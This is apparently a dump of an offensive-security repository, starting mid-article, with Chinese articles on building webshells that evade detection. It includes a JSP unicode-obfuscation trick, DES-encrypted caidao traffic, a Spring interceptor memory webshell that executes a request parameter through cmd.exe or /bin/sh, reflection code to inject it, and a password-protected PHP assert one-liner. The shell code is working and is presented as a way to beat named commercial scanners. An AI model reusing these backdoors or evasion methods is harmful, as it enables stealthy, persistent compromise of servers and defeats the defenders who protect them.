webshell 流量检测的目的。 29 | 30 | 配合基础的免杀源文件,将躲过大部分 Webshell 检测软件和监测平台的 Webshell 发现手段。其实现原理主要如下图所示: 31 | 32 | ![CaiDaoProxy](CaiDaoProxy.png) 33 | 34 | 可以发现,发送到服务端 www.example.com 的请求是编码混淆过的,服务端的响应也是编码混淆过的。 35 | 36 | 对于一些 WAF 和主机流量防护软件来说,原来的caidao 请求特征值**"z0"**、**"z1"**、**"z2"**,分隔符 "**X@Y**"及其它敏感内容(物理路径、执行命令结果等)都无法轻易检测到了。 37 | 38 | ### 0x03:源文件免杀 39 | 40 | 前言中讲了,在有文件的 Webshell 中,源文件免杀是第一步。源文件免杀的php、asp一句话脚本参考我以前写的 [文章](https://github.com/LandGrey/webshell-detect-bypass) 构造起来不算困难。 41 | 42 | 但一句话形式的(实际文本内容比较多) JSP Webshell 网络公开讲绕过检测的比较少,所以分享一个比较简单的 JSP Webshell免杀方法—**unicode编码**。 43 | 44 | [这里](https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/jsp/CaiDao-Webshell-Password-LandGrey.jsp) 提供一个 caidao.exe 20160620 及以后版本 (默认分隔符: **X@Y**) 可正常连接,源文件免杀的 jsp 一句话示例脚本,密码: `LandGrey` 45 | 46 | 原理是 Java 编译器可将 unicode 编码的 java 源代码 (下图所示的 jsp 中的 "**\uxxxx**" 形式的 unicode 编码后的代码) 正常编译成 class文件。 47 | 48 | ![](CaiDao-Unicode-Webshell.png) 49 | 50 | 将提供的 Webshell 放在服务器上,访问后打开 Tomcat 的 work 编译目录,可发现反编译后依然正常的 class 文件和 unicode 编码的 java 源代码文件。 51 | 52 | ![](Unicode-Source-Class.png) 53 | 54 | ### 0x04:传输内容加密 55 | 56 | 这里的**传输内容加密**是指: 57 | 58 | > 以服务器的角度来看:客户端发送给它的 request 包中的 POST 参数名和参数值无法轻易知晓其含义; 59 | > 60 | > 并且服务器返回给客户端的 response 包中的内容也无法轻易知晓其含义。 61 | 62 | 随着攻防对抗的升级,现在的 Webshell 客户端都有较为原始的"传输内容加密"策略,比如 caidao.exe 默认将发送的部分内容进行一次 base64 编码、16进制转码等,但现在默认的这些小 trick,在躲避检测上起到的作用越来越小,一些防护软件会尝试简单的编码,还原成明文的内容,然后再检测传输内容是否异常。 63 | 64 | 限于篇幅,php 、asp等脚本的 CaiDaoProxy.py 实现只介绍其思路,重点说明 jsp 一句话 Webshell 流量加密的 CaiDaoProxy.py 实现方法。 65 | 66 | CaiDaoProxy 的 HTTP 代理功能可使用 Python 的 BaseHTTPServer 基础库完成,默认监听本地一个端口,比如 9000;然后 caidao.exe 地址栏填入 `http://127.0.0.1:9000/?=http://www.example.com/webshell.jsp`,真正请求地址由 CaiDaoProxy 剥离出来即可。 67 | 68 | - 对于常见的 php、asp、aspx等一句话 webshell 来说: 69 | 70 | 71 | 1. 可在 caidao.exe 向服务端发送 request 包时,用CaiDaoProxy.py 拦截请求,随机化参数名并组合两种及以上不同的简单编码(如php的 **base64_encode -> strrev-> base64_encode**),编码参数值来混淆请求流量,然后再发给服务端; 72 | 2. 服务端 Webshell 根据编码方式,解码请求值,并在服务端执行; 73 | 3. 可更改 caidao.conf 文件或者在 CaiDaoProxy.py 脚本中统一修改发往服务端执行的代码,将服务端执行的内容输出 `print` 或者 `echo`值进行相应编码; 74 | 4. CaiDaoProxy.py 脚本拦截到编码后的服务端输出,根据编码方法,统一解码后返回给 caidao.exe 即可。 75 | 76 | 77 | - 对于 jsp 一句话 Webshell 来说:主要逻辑都在服务端的 jsp 脚本中,所以我们可以选择基础的对称加密算法 DES 来加密通信流量。然后可约定加解密方法: 78 | 79 | 80 | 1. CaiDaoProxy 发送请求前,进行 **DES加密 -> Base64编码** 81 | 2. 服务端接收请求后,进行 **Base64解码 -> DES解密** 82 | 3. 服务端输出响应结果时,进行 **DES加密 -> Base64编码** 83 | 4. CaiDaoProxy 接收响应后,进行 **Base64解码 -> DES解密** 84 | 85 | 86 | **服务端关键加解密代码:** 87 | 88 | ```java 89 | import javax.crypto.Cipher; 90 | import javax.crypto.SecretKey; 91 | import javax.crypto.spec.DESKeySpec; 92 | import javax.crypto.SecretKeyFactory; 93 | import java.security.SecureRandom; 94 | 95 | // 密钥 96 | String DesKey = "LandGrey"; 97 | 98 | // DES 加密函数 99 | byte[] DesEncrpyt(String content) { 100 | try { 101 | SecureRandom random = new SecureRandom(); 102 | DESKeySpec desKey = new DESKeySpec(DesKey.getBytes()); 103 | SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES"); 104 | SecretKey securekey = keyFactory.generateSecret(desKey); 105 | Cipher cipher = Cipher.getInstance("DES"); 106 | cipher.init(Cipher.ENCRYPT_MODE, securekey, random); 107 | return cipher.doFinal(content.getBytes()); 108 | } catch (Throwable e) { 109 | e.printStackTrace(); 110 | } 111 | return null; 112 | } 113 | 114 | // DES 解密函数 115 | byte[] DesDecrpyt(byte[] content) { 116 | try { 117 | SecureRandom random = new SecureRandom(); 118 | DESKeySpec desKey = new DESKeySpec(DesKey.getBytes()); 119 | SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES"); 120 | SecretKey securekey = keyFactory.generateSecret(desKey); 121 | Cipher cipher = Cipher.getInstance("DES"); 122 | cipher.init(Cipher.DECRYPT_MODE, securekey, random); 123 | return cipher.doFinal(content); 124 | } catch (Throwable e) { 125 | e.printStackTrace(); 126 | } 127 | return null; 128 | } 129 | ``` 130 | 131 | **CaiDaoProxy 关键加解密代码:** 132 | 133 | ```python 134 | import base64 135 | from pyDes import des, ECB, PAD_PKCS5 136 | 137 | // 密钥 138 | DesKey = "LandGrey" 139 | 140 | // DES加解密类 141 | class DesCipher: 142 | def __init__(self, secret_key): 143 | self.secret_key = secret_key 144 | 145 | def encrypt(self, s): 146 | iv = self.secret_key 147 | k = des(self.secret_key, ECB, iv, pad=None, padmode=PAD_PKCS5) 148 | en = k.encrypt(bytes(s), padmode=PAD_PKCS5) 149 | return en 150 | 151 | def decrypt(self, s): 152 | iv = self.secret_key 153 | k = des(self.secret_key, ECB, iv, pad=None, padmode=PAD_PKCS5) 154 | de = k.decrypt(s, padmode=PAD_PKCS5) 155 | return de 156 | ``` 157 | 158 | 然后,就可以参考本文 **0x03:源文件免杀 **的思路,将新的支持流量加解密的 jsp 一句话 Webshell 进行 unicode 编码,一个简单的源文件免杀和通信流量加密的 JSP 一句话 Webshell 就制作完成了。 159 | 160 | CaiDaoProxy.py 使用效果图: 161 | 162 | ![](show.gif) 163 | 164 | ### 0x05:后记 165 | 166 | 在编写通用的有文件一句话 Webshell HTTP 代理 CaiDaoProxy 过程中,相当自己又梳理了一遍 caidao.exe 工具的基本原理,对后面更高级的 Webshell Detect Bypass 技术的学习大有裨益。 167 | 168 | 虽然这种源脚本和流量都免杀的一句话已经适应较多绕过检测的场景,但当防护软件有进程监控、组件监控或 RASP 功能时,如果使用 caidao.exe 的虚拟终端功能,有极大概率会被检测出来,这也是目前一个比较重要,且需要考虑的 Webshell Bypass 问题。 169 | 170 | -------------------------------------------------------------------------------- /docs/china-chopper-http-proxy/show.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/china-chopper-http-proxy/show.gif -------------------------------------------------------------------------------- /docs/inject-interceptor-hide-webshell/absgethandler.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/inject-interceptor-hide-webshell/absgethandler.png -------------------------------------------------------------------------------- /docs/inject-interceptor-hide-webshell/absgethandlerexecutionchain.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/inject-interceptor-hide-webshell/absgethandlerexecutionchain.png -------------------------------------------------------------------------------- /docs/inject-interceptor-hide-webshell/applyprehandle.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/inject-interceptor-hide-webshell/applyprehandle.png -------------------------------------------------------------------------------- /docs/inject-interceptor-hide-webshell/eval.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/inject-interceptor-hide-webshell/eval.png -------------------------------------------------------------------------------- /docs/inject-interceptor-hide-webshell/filterchain.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/inject-interceptor-hide-webshell/filterchain.png -------------------------------------------------------------------------------- /docs/inject-interceptor-hide-webshell/gethandler.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/inject-interceptor-hide-webshell/gethandler.png -------------------------------------------------------------------------------- /docs/inject-interceptor-hide-webshell/inject-interceptor-hide-webshell.md: -------------------------------------------------------------------------------- 1 | # 利用 intercetor 注入 spring 内存 webshell 2 | 3 | 4 | 5 | ## 0x00:前言 6 | 7 | 在工作中,我遇到一个基于 `spring boot` 框架开发,并且可以执行任意代码的 `Restful Api` 漏洞环境。目标机器有安全限制无法连接外网。这时候,一种方便后续继续操作或者说长期驻留后门的办法就是注入 java 内存 webshell。 8 | 9 | 目前针对 java web 注入内存 webshell 的经验有不少师傅已经总结过了,主流是根据不同的 **web 容器**(`tomcat`、`weblogic` 等)和不同的 **web 技术框架**(`servlet`、`spring` 系列等)来注入 `filter`、`listener`、`servlet`、`controller` 等不同形式的内存马。 10 | 11 | 随着微服务部署技术的迭代演进,大型业务系统在到达真正的应用服务器之前往往需要经过 `Load Balancer` 和 `API Gateway` 等系统的流量转发。这样就导致在漏洞利用时可能会出现一个问题:如果请求的 url 是没有在网关系统注册的路由,在请求转发到真正的业务系统前就会被丢弃。 12 | 13 | 所以,在注入 java 内存马时,尽量不要使用新的路由来专门处理我们注入的 webshell 逻辑,最好是在每一次请求到达真正的业务逻辑前,都能提前进行我们 webshell 逻辑的处理。在 `tomcat` 容器下,有 `filter`、`listener` 等技术可以达到上述要求。那么在 `spring` 框架层面下,有办法达到上面所说的效果吗? 14 | 15 | 16 | 17 | ## 0x01:探索 18 | 19 | 为了解决上面的问题,我们首先需要探究的是:**一个 request 发送到 spring 应用,是怎么一步一步到达业务处理逻辑 controller 层的?** 20 | 21 | 22 | 23 | 首先,因为 spring boot 使用 `embed tomcat` 作为容器,根据查阅资料或者调试经验,可以把第一个断点放置在下图所示的 `org.apache.catalina.core.ApplicationFilterChain` 的 `internalDoFilter` 方法中。 24 | 25 | ![](filterchain.png) 26 | 27 | 方法中通过迭代进行 28 | 29 | ``` 30 | filterChain.doFilter(request, response) -> filter.doFilter(request, response) 31 | ``` 32 | 33 | 最终会遍历完成所有 filter 的逻辑。 34 | 35 | 在经过 **Filter** 层面处理后,就会进入熟悉的 **spring-webmvc** 组件 `org.springframework.web.servlet.DispatcherServlet` 类的 `doDispatch` 方法中。 36 | 37 | 为了方便分析,可把方法代码简化如下: 38 | 39 | ```java 40 | protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception { 41 | HttpServletRequest processedRequest = request; 42 | HandlerExecutionChain mappedHandler = null; 43 | ...... 44 | try { 45 | ...... 46 | try { 47 | ...... 48 | // Determine handler for the current request. 49 | mappedHandler = getHandler(processedRequest); 50 | 51 | ...... 52 | // Determine handler adapter for the current request. 53 | HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler()); 54 | 55 | ...... 56 | if (!mappedHandler.applyPreHandle(processedRequest, response)) { 57 | return; 58 | } 59 | 60 | // Actually invoke the handler. 61 | mv = ha.handle(processedRequest, response, mappedHandler.getHandler()); 62 | 63 | ...... 64 | mappedHandler.applyPostHandle(processedRequest, response, mv); 65 | } 66 | ...... 67 | processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException); 68 | } 69 | ...... 70 | } 71 | ``` 72 | 73 | 首先注意到 74 | 75 | ```java 76 | mappedHandler = getHandler(processedRequest); 77 | ``` 78 | 79 | 一行代码。跟入进去发现实际上是通过 `org.springframework.web.servlet.DispatcherServlet` 类的 `getHandler` 方法来获取处理本次请求的 `handler`。 80 | 81 | ```java 82 | protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception { 83 | if (this.handlerMappings != null) { 84 | for (HandlerMapping mapping : this.handlerMappings) { 85 | HandlerExecutionChain handler = mapping.getHandler(request); 86 | if (handler != null) { 87 | return handler; 88 | } 89 | } 90 | } 91 | return null; 92 | } 93 | ``` 94 | 95 | 在 `getHandler` 方法中,会通过遍历下图中的 `this.handlerMappings` 来获取 `HandlerMapping` 对象实例 `mapping` 96 | 97 | ![](gethandler.png) 98 | 99 | 100 | 101 | 其中 `mapping.getHandler(request)` 实际上会调用下图的 `org.springframework.web.servlet.handler.AbstractHandlerMapping` 类的 `getHandler` 方法,并通过 `getHandlerExecutionChain(handler, request)` 方法返回 `HandlerExecutionChain` 类的实例。 102 | 103 | ![](absgethandler.png) 104 | 105 | 106 | 107 | 如下图,继续跟入 `getHandlerExecutionChain` 方法中,发现会遍历 `this.adaptedInterceptors` 对象里所有的 `HandlerInterceptor` 类实例,通过 `chain.addInterceptor` 把已有的所有拦截器加入到需要返回的 `HandlerExecutionChain` 类实例中。 108 | 109 | ![](absgethandlerexecutionchain.png) 110 | 111 | 112 | 113 | 清楚了程序在哪里加入的 `interceptor` 后,返回刚开始的 `doDispatch` 方法简化代码中。 114 | 115 | 重点关注下面的 if 语句,发现会调用 `applyPreHandle` 方法 116 | 117 | ``` 118 | if (!mappedHandler.applyPreHandle(processedRequest, response)) { 119 | return; 120 | } 121 | ``` 122 | 123 | 继续跟入 `applyPreHandle` 方法中 ,发现实际调用的是下图 `org.springframework.web.servlet.HandlerExecutionChain` 类的 `applyprehandle` 方法,并会在方法中通过 `getInterceptors()` 获取所有的拦截器,然后一个个调用拦截器的 `preHandle` 方法。 124 | 125 | ![](applyprehandle.png) 126 | 127 | 128 | 129 | 所以,到现在我们也清楚了程序是在哪里开始调用的 `interceptor` 。实际内容到这里就差不多了,不过如果要继续跟进刚开始的 `doDispatch` 方法,到下面这行代码 130 | 131 | ``` 132 | mv = ha.handle(processedRequest, response, mappedHandler.getHandler()); 133 | ``` 134 | 135 | 会发现程序调用了 `org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter` 类的 `handle` 方法。 136 | 137 | 如果程序提前在调用的 `Controller` 上设置了 `Aspect`(切面),那么在正式调用 `Controller` 前实际上会先调用切面的代码,一定程度上也起到了 "拦截" 的效果。 138 | 139 | 不过因为 spring boot 是使用 CGLib 动态代理技术来实现的 `Aspect`,所以细究起来不如使用 `Interceptor` 技术实现注入 webshell 更方便。 140 | 141 | 那么总结一下,一个 request 发送到 spring 应用,大概会经过以下几个层面才会到达处理业务逻辑的 Controller 层: 142 | 143 | ``` 144 | HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Aspect --> Controller 145 | ``` 146 | 147 | 148 | 149 | ## 0x02:实现 150 | 151 | 经过一番探索,我们发现使用 `Interceptor` 来拦截所有进入 `Controller` 的 http 请求理论上是可行的,接下来就是实现从代码层面动态注入一个 `Interceptor` 来达到 webshell 的效果。 152 | 153 | ### 一:实现恶意 Interceptor 154 | 155 | 首先,我写了一个继承自 `org.springframework.web.servlet.handler.HandlerInterceptorAdapter` 类,名为 `magicInterceptor` 的拦截器,并重写了 `preHandle` 方法,在其中实现一个简单的命令执行回显的 webshell 逻辑。 156 | 157 | 当请求参数中含有 `code` 字符串时,会把它的值当作命令执行,否则就忽略这次拦截,继续进行正常的业务逻辑。 158 | 159 | ```java 160 | import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; 161 | import javax.servlet.http.HttpServletRequest; 162 | import javax.servlet.http.HttpServletResponse; 163 | 164 | public class magicInterceptor extends HandlerInterceptorAdapter { 165 | @Override 166 | public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { 167 | String code = request.getParameter("code"); 168 | if(code != null){ 169 | try { 170 | java.io.PrintWriter writer = response.getWriter(); 171 | String o = ""; 172 | ProcessBuilder p; 173 | if(System.getProperty("os.name").toLowerCase().contains("win")){ 174 | p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code}); 175 | }else{ 176 | p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code}); 177 | } 178 | java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A"); 179 | o = c.hasNext() ? c.next(): o; 180 | c.close(); 181 | writer.write(o); 182 | writer.flush(); 183 | writer.close(); 184 | }catch (Exception e){ 185 | } 186 | return false; 187 | } 188 | return true; 189 | } 190 | 191 | } 192 | ``` 193 | 194 | 195 | 196 | ### 二:获取 ApplicationContext 197 | 198 | 然后,根据 **0x01: 探索** 中的详细分析,我选择把上面的 `magicInterceptor` 类实例手动注入到 `org.springframework.web.servlet.handler.AbstractHandlerMapping` 类的 `adaptedInterceptors` 属性中。 199 | 200 | 这里就遇到了个问题,怎么拿到当前代码运行环境中原来的 `adaptedInterceptors` 属性值呢? 201 | 202 | 如果理解了我早先写的一篇文章 [基于内存 Webshell 的无文件攻击技术研究](https://landgrey.me/blog/12/),就会很自然的想到,可以从当前代码运行时的上下文环境 `ApplicationContext` 中去寻找。 203 | 204 | 早先文章中提供了四种获取 `ApplicationContext` 的办法,这里再提供一种我 debug spring boot 源码时发现的另一种办法。 205 | 206 | spring boot 初始化过程中会往 `org.springframework.context.support.LiveBeansView` 类的 `applicationContexts` 属性中添加 `org.springframework.boot.web.servlet.context.AnnotationConfigServletWebServerApplicationContext` 类的对象。 207 | 208 | `applicationContexts` 属性定义如下所示: 209 | 210 | ```java 211 | private static final Set applicationContexts = new LinkedHashSet(); 212 | ``` 213 | 214 | 因为使用了 `private static final` 修饰符,所以可以直接反射获取属性值。 215 | 216 | 示例代码如下: 217 | 218 | ```java 219 | // 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性 220 | java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts"); 221 | // 2. 属性被 private 修饰,所以 setAccessible true 222 | filed.setAccessible(true); 223 | // 3. 获取一个 ApplicationContext 实例 224 | org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next(); 225 | ``` 226 | 227 | 228 | 229 | 值得注意的是,因为 `org.springframework.context.support.LiveBeansView` 类在 `spring-context` **3.2.x** 版本(现在最新版本是 **5.3.x**)才加入其中,所以比较低版本的 spring 无法通过此方法获得 `ApplicationContext` 的实例。 230 | 231 | 232 | 233 | ### 三. 获取 `adaptedInterceptors` 属性值 234 | 235 | 获得 `ApplicationContext` 实例后,还需要知道 `org.springframework.web.servlet.handler.AbstractHandlerMapping` 类实例的 bean name 叫什么。 236 | 237 | 自己研究过或者分析过我 [早先文章](https://landgrey.me/blog/12/) 的应该已经比较清楚了, bean 实例名字是 `requestMappingHandlerMapping` 或者比较老版本的 `DefaultAnnotationHandlerMapping` 。那么获取 `adaptedInterceptors` 属性值就比较简单了: 238 | 239 | ```java 240 | org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping"); 241 | java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); 242 | field.setAccessible(true); 243 | java.util.ArrayList adaptedInterceptors = (java.util.ArrayList)field.get(abstractHandlerMapping); 244 | ``` 245 | 246 | 247 | 248 | ### 四. 注入 Interceptor 249 | 250 | 万事俱备,最后只要把第一步实现的恶意 Interceptor 类加入到 `adaptedInterceptors` 属性值中就可以了。 251 | 252 | 这里顺便讲个小技巧,可以把 `magicInterceptor` 类在当前线程上下文的 ClassLoader 中定义,然后再从其中取出来就可以获得类实例了。 253 | 254 | ```java 255 | String className = "magicInterceptor"; 256 | String b64 = "......"; // magicInterceptor 类 class 的 base64 编码 257 | byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64); 258 | java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 259 | try { 260 | classLoader.loadClass(className); 261 | }catch (ClassNotFoundException e){ 262 | java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); 263 | m0.setAccessible(true); 264 | m0.invoke(classLoader, className, bytes, 0, bytes.length); 265 | adaptedInterceptors.add(classLoader.loadClass("magicInterceptor").newInstance()); 266 | } 267 | ``` 268 | 269 | 270 | 271 | 最后,我模拟了一个有 SpEL 表达式注入漏洞的场景,然后通过利用漏洞来注入 Interceptor。 272 | 273 | ![](spel.png) 274 | 275 | 276 | 277 | 然后随便访问一个路径,参数加上 `?code=id` 就可以执行命令了 278 | 279 | ![](eval.png) 280 | 281 | 282 | 283 | ## 0x03: 后语 284 | 285 | 本文通过分析请求发送到 spring 应用到达业务逻辑 controller 层所经过的主要层次,提出了一种利用 intercetor 注入 spring 内存 webshell 的技术方案,并进行了相应的实现。在 spring 框架层面基本达到了和 Filter 型内存 webshell 一样的效果。 286 | 287 | 288 | 289 | ## 参考链接: 290 | 291 | https://landgrey.me/blog/12/ 292 | 293 | https://juejin.im/post/6844904020675559432 294 | 295 | -------------------------------------------------------------------------------- /docs/inject-interceptor-hide-webshell/order.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/inject-interceptor-hide-webshell/order.png -------------------------------------------------------------------------------- /docs/inject-interceptor-hide-webshell/spel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/inject-interceptor-hide-webshell/spel.png -------------------------------------------------------------------------------- /docs/php-webshell-detect-bypass/bypass-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/php-webshell-detect-bypass/bypass-1.png -------------------------------------------------------------------------------- /docs/php-webshell-detect-bypass/communication.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/php-webshell-detect-bypass/communication.png -------------------------------------------------------------------------------- /docs/php-webshell-detect-bypass/failed-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/php-webshell-detect-bypass/failed-1.png -------------------------------------------------------------------------------- /docs/php-webshell-detect-bypass/failed-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/php-webshell-detect-bypass/failed-2.png -------------------------------------------------------------------------------- /docs/php-webshell-detect-bypass/failed-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/php-webshell-detect-bypass/failed-3.png -------------------------------------------------------------------------------- /docs/php-webshell-detect-bypass/php-webshell-detect-bypass.md: -------------------------------------------------------------------------------- 1 | ## 0x00: 前言 2 | 3 | 一般的,利用能够执行系统命令、加载代码的函数,或者组合一些普通函数,完成一些高级间谍功能的网站后门的脚本,叫做Webshell。 4 | 5 | 本篇文章主要探讨关于PHP语言的Webshell检测工具和平台的绕过方法,实现能够绕过以下表格中7个主流(基本代表安全行业内PHP Webshell检测的一流水平)专业工具和平台检测的PHP Webshell,构造出零提示、无警告、无法被检测到的一句话木马后门。 6 | 7 | | 编号 | 名称 | 参考链接 | 8 | | ---- | -------------------------- | ---------------------------------------- | 9 | | 1 | 网站**安全狗**网马查杀 | http://download.safedog.cn/download/software/safedogwzApache.exe | 10 | | 2 | **D盾** Web查杀 | http://www.d99net.net/down/WebShellKill_V2.0.9.zip | 11 | | 3 | **深信服**WebShellKillerTool | http://edr.sangfor.com.cn/tool/WebShellKillerTool.zip | 12 | | 4 | **BugScaner** killwebshell | http://tools.bugscaner.com/killwebshell/ | 13 | | 5 | **河马专业版**查杀Webshell | http://n.shellpub.com/ | 14 | | 6 | **OpenRASP** WEBDIR+检测引擎 | https://scanner.baidu.com | 15 | | 7 | **深度学习模型**检测PHP Webshell | http://webshell.cdxy.me/ | 16 | 17 | 研究期间做了大量的测试,限于篇幅和文章效果,在不影响阅读体验的情况下,部分测试过程和结果略去了。 18 | 19 | ## 0x01:Webshell后门 20 | 21 | 目前来讲,我把用纯php代码实现的Webshell后门(以下统称为"木马"),主要分为以下几类: 22 | 23 | - **单/少功能木马** 24 | 25 | 能完成写入文件、列目录、查看文件、执行一些系统命令等少量功能的Webshell。 26 | 27 | - **逻辑木马** 28 | 29 | 利用系统逻辑漏洞或构造特殊触发条件,绕过访问控制或执行特殊功能的Webshell。 30 | 31 | - **一句话木马** 32 | 33 | 可以在目标服务器上执行php代码,并和一些客户端(如菜刀、Cknife)进行交互的Webshell。 34 | 35 | - **多功能木马** 36 | 37 | 根据PHP语法,编写较多代码,并在服务器上执行,完成大量间谍功能的Webshell(大马)。 38 | 39 | 其中,一句话木马的原理如下图: 40 | 41 | ![原理图](communication.png) 42 | 43 | > 客户端将PHP代码使用特殊参数名(密码),发送给放置在服务端上的一句话木马文件; 44 | > 45 | > 一句话木马脚本则在服务器上执行发来的PHP代码,然后将执行结果回传给客户端,客户端将结果解析并展示给操作者。 46 | 47 | ## 0x02:查杀现状研究 48 | 49 | 根据0x01的一句话木马原理,我们知道必须要在服务器上执行客户端发来的字符串形式的PHP代码。 50 | 51 | 脚本要将字符串(或文件流)当作PHP代码执行,目前主要会使用以下函数: 52 | 53 | | 函数 | 说明 | 54 | | :----: | ---------------------------------------- | 55 | | eval | PHP 4, PHP 5, PHP 7+ 均可用,接受一个参数,将字符串作为PHP代码执行 | 56 | | assert | PHP 4, PHP 5, PHP 7.2 以下均可用,一般接受一个参数,php 5.4.8版本后可以接受两个参数 | 57 | | 正则匹配类 | preg_replace/ mb_ereg_replace/preg_filter等 | 58 | | 文件包含类 | include/include_once/require/require_once/file_get_contents等 | 59 | 60 | 本文为了好说明问题,统一将上面表中可以将字符串当作代码执行的函数临时起个名字,叫"**函数机**"。 61 | 62 | 不幸的是,但凡直接出现函数机,即便不是进行恶意操作,部分查杀软件也会产生警告,达不到我们的要求。 63 | 64 | 比如用D盾检测如下脚本: 65 | 66 | ![检测到可疑](warning-1.png) 67 | 68 | 然后,就需要方法来隐藏上面的函数机。但是随着攻防对抗的升级,较传统的字符串拆分、变形、进制转换、运算变换等躲避Webshell查杀的效果已经大大降低。 69 | 70 | 所以,经过调研和比较,本文选择了通过可以携带参数的PHP回调函数来创造后门的技术,来实现绕过检测软件的一句话木马后门。 71 | 72 | 拿出来曾经披露过的一个回调函数后门函数"register_shutdown_function"做测试,发现虽然D盾、深信服的工具没有发觉到"register_shutdown_function"加 "assert"的变形,但是安全狗还是察觉到了。 73 | 74 | ```php 75 | 80 | ``` 81 | 82 | ![初步绕过被发现](warning-2.png) 83 | 84 | 所以,有理由推测,有一个恶意函数库,凡是网络上披露过的可用作后门的回调函数,都可能在其中,而且很大概率上会被检测出来。 85 | 86 | 经过收集,发现网络上50多个**已披露出来的**可用作后门的回调函数和类中,有部分函数仍然可以用来绕过Webshell查杀软件。 87 | 88 | ## 0x03:查找可做后门的回调函数 89 | 90 | 去[PHP官网](http://php.net/manual/zh/)查阅函数手册,查找可以用作后门的PHP回调函数,根据实际经验,利用下面五个关键词,能提高查找到拥有后门潜质的PHP回调函数的效率: 91 | 92 | ##### 关键词一:callable 93 | 94 | ![关键词1](tips-1.png) 95 | 96 | ##### 关键词二:mixed $options 97 | 98 | ![关键词2](tips-2.png) 99 | 100 | ##### 关键词三:handler 101 | 102 | ![关键词3](tips-3.png) 103 | 104 | ##### 关键词四:callback 105 | 106 | ![关键词4](tips-4.png) 107 | 108 | ##### 关键词五:invoke 109 | 110 | ![关键词5](tips-5.png) 111 | 112 | 除此之外,**PHP扩展**中也有些合适的回调函数,不过可能通用性不强,本文不做讨论。 113 | 114 | ## 0x04:绕过传统检测 115 | 116 | 先拿披露过的array_udiff_assoc()函数构造一个免杀一句话。 117 | 118 | 函数定义: 119 | 120 | ```php 121 | array array_udiff_assoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func ) 122 | ``` 123 | 124 | 根据定义,可以构造代码: 125 | 126 | ```php 127 | array_udiff_assoc(array("phpinfo();"), array(1), "assert"); 128 | ``` 129 | 130 | ![执行成功](success-1.png)继续构造适合客户端连接的一句话木马脚本[array_udiff_assoc.php](https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/php/array_udiff_assoc.php): 131 | 132 | ```php 133 | = 5.4.0, PHP 7) 136 | * 137 | */ 138 | $password = "LandGrey"; 139 | array_udiff_assoc(array($_REQUEST[$password]), array(1), "assert"); 140 | ?> 141 | ``` 142 | 143 | 浏览器访问 144 | 145 | `http://127.0.0.1/shell/test/test.php?LandGrey=phpinfo();` 146 | 147 | Cknife添加目标`http://127.0.0.1/shell/test/test.php` 密码: LandGrey,可成功连接。 148 | 149 | ![Cknife连接](success-2.png) 150 | 151 | 